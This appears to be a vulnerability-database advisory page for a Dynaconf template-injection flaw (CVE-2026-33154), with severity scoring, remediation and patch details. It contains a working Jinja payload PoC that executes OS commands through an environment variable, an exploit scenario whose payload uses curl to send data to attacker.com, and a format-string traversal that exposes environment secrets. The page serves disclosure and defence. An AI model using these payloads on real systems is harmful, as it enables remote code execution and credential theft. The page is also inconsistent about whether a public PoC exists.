Skip to main content

Python CVE-2026-33154

HIGH
Code Injection (CWE-94)
2026-03-18 https://github.com/dynaconf/dynaconf GHSA-pxrr-hq57-q35p
7.5
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Inject malicious Jinja2 template in configuration source
  2. Exploit
    Dynaconf evaluates template without sandbox
  3. Execution
    Execute arbitrary OS commands via template expression
  4. Impact
    Compromise host system

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires jinja2 package installed with Dynaconf. Attacker must have ability to influence configuration sources (environment variables, .env files, container environment, CI/CD secrets). Authenticated user or insider access needed. No victim interaction required.

Impact

The CVSS score of 7.5 (High) with vector AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H indicates network-exploitable remote code execution, though with high complexity and requiring low privileges. The high complexity (AC:H) stems from the attacker needing to influence configuration sources, which is environment-dependent but increasingly common in containerized deployments where environment variables are externally configurable. The availability of a working proof-of-concept significantly lowers the exploitation barrier. Real-world risk is elevated in cloud-native environments, CI/CD pipelines, and container orchestration platforms where configuration injection through environment variables is a common attack vector. The requirement for low privileges (PR:L) suggests some level of access is needed, but in many DevOps contexts this could mean any user with permission to set environment variables or modify deployment configurations. This represents a genuine priority for organizations using Dynaconf in production, particularly those accepting configuration from external or semi-trusted sources.

Exploit ScenarioDerived

An attacker with access to modify environment variables in a containerized application (such as through Kubernetes ConfigMaps or Docker environment injection) sets DYNACONF_RCE to '@jinja {{ cycler.__init__.__globals__.os.popen("curl attacker.com/$(whoami)").read() }}'. When the application initializes Dynaconf settings, the malicious template is automatically evaluated, executing the embedded command and exfiltrating the current user context to the attacker's server, potentially followed by reverse shell establishment or data theft from the compromised host.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 18, 2026

Dynaconf, a Python configuration management library, contains a Server-Side Template Injection (SSTI) vulnerability in its @jinja resolver that allows arbitrary command execution when attackers can control configuration sources such as environment variables, .env files, or CI/CD secrets. The vulnerability affects pip package dynaconf and includes a public proof-of-concept demonstrating command execution via Jinja2 template evaluation without sandboxing. The @format resolver additionally enables object graph traversal to expose sensitive runtime data including API keys and credentials.

RemediationAI

Users should immediately check the official GitHub security advisory at https://github.com/dynaconf/dynaconf/security/advisories/GHSA-pxrr-hq57-q35p for patched versions and upgrade accordingly. As an interim mitigation, wrap Jinja2 template rendering in a SandboxedEnvironment (from jinja2.sandbox import SandboxedEnvironment) to restrict access to dangerous attributes and methods. Restrict the use of @jinja and @format resolvers to configuration values from fully trusted sources only, never from user-controllable inputs, environment variables exposed to external systems, or CI/CD contexts where configuration injection is possible. Implement strict input validation and whitelisting for any configuration sources that may be influenced by external parties. Consider disabling dynamic template evaluation entirely if not required for your use case by avoiding the @jinja resolver syntax in configuration files.

Affected Packages

pypi dynaconf fix: 3.2.13

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability stems from CWE-94 (Improper Control of Generation of Code) in the Dynaconf configuration management library for Python (pkg:pip/dynaconf). Dynaconf provides string resolvers including @jinja and @format that dynamically evaluate configuration values. The @jinja resolver uses Jinja2 template rendering without a sandboxed environment, allowing attackers to exploit Python's object introspection capabilities. By accessing the cycler object's __init__.__globals__ attribute chain, attackers reach the os module and execute arbitrary commands via popen(). The @format resolver similarly enables traversal of Python's object graph through format string operations, exposing runtime objects like __class__.__init__.__globals__ that contain sensitive environment data and imported modules.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 7.5 HIGH
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
SUSE HIGH
Red Hat 7.5 MEDIUM

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
High
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
CVE Published
Mar 18, 2026 - 20:08 nvd
HIGH 7.5

DescriptionGitHub Advisory

Summary

Dynaconf is vulnerable to Server-Side Template Injection (SSTI) due to unsafe template evaluation in the @jinja resolver. When the jinja2 package is installed, Dynaconf evaluates template expressions embedded in configuration values without a sandboxed environment.

If an attacker can influence configuration sources such as: environment variables .env files container environment configuration CI/CD secrets they can execute arbitrary OS commands on the host system. In addition, the @format resolver allows object graph traversal, which may expose sensitive runtime objects and environment variables.

Details

The vulnerability arises because Dynaconf's string resolvers lack proper security boundaries.

  1. @jinja Resolver

The @jinja resolver renders templates using full Jinja2 evaluation. However, the rendering context is not sandboxed, which allows attackers to access Python's internal attributes. Using objects such as cycler, attackers can reach Python's __globals__ and import the os module.

Example attack path cycler → __init__ → __globals__ → os → popen() This leads to arbitrary command execution.

  1. @format Resolver

The @format resolver performs Python string formatting using internal objects. This allows attackers to traverse Python's object graph and access sensitive runtime objects. Example traversal: {this.__class__.__init__.__globals__[os].environ} This can expose

  • API keys
  • database credentials
  • internal service tokens
  • environment secrets

PoC

import os
from dynaconf import Dynaconf
# Malicious configuration injection
os.environ["DYNACONF_RCE"] = "@jinja {{ cycler.__init__.__globals__.os.popen('id').read() }}"
settings = Dynaconf()
print("[!] Command Execution Result:")
print(settings.RCE)

Impact

Successful exploitation allows attackers to:

  • Execute arbitrary OS commands on the host system
  • Access sensitive environment variables
  • Compromise application secrets
  • Fully compromise the running application process

Because configuration values may originate from CI/CD pipelines, container orchestration systems, or environment injection, this vulnerability can become remotely exploitable in real-world deployments.

Remediation / Mitigation (Examples)

  1. Use Jinja2 sandbox for template rendering
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("{{ config_value }}")
safe_value = template.render(config_value=user_input)```
  1. Restrict @format usage to trusted values
safe_value = "{name}".format(name=trusted_name)

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 32 pypi packages depend on dynaconf (17 direct, 15 indirect)

Ecosystem-wide dependent count for version 3.2.13.

Executive ViewAI

Why It Matters

Dynaconf, a Python configuration library used in our applications, contains a critical vulnerability allowing attackers to execute arbitrary commands if they gain access to configuration sources like environment variables or CI/CD secrets. This poses a direct threat to any systems using Dynaconf where configuration is not strictly controlled, potentially compromising application integrity and exposing sensitive credentials.

Business Impact: High
Compensating Controls

Disable @jinja and @format resolvers if not required for business functionality; implement strict file permissions (600/640) on .env and configuration files; restrict environment variable access through IAM policies; deploy WAF rules to block template injection patterns; use read-only configuration sources; implement configuration validation and sanitization; enforce network segmentation to limit CI/CD system access; monitor configuration file modifications and environment variable changes.

Threat Intelligence Overview

EPSS Score
0.0%
Top 86% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)GitHub Advisory

pkg:pip/dynaconf

Related Vulnerabilities in CVE-2026-33154 and CVE-2026-33155 Code Injection

View all 2

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: High
Product Status
openSUSE Leap 16.0 Fixed
openSUSE Tumbleweed Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy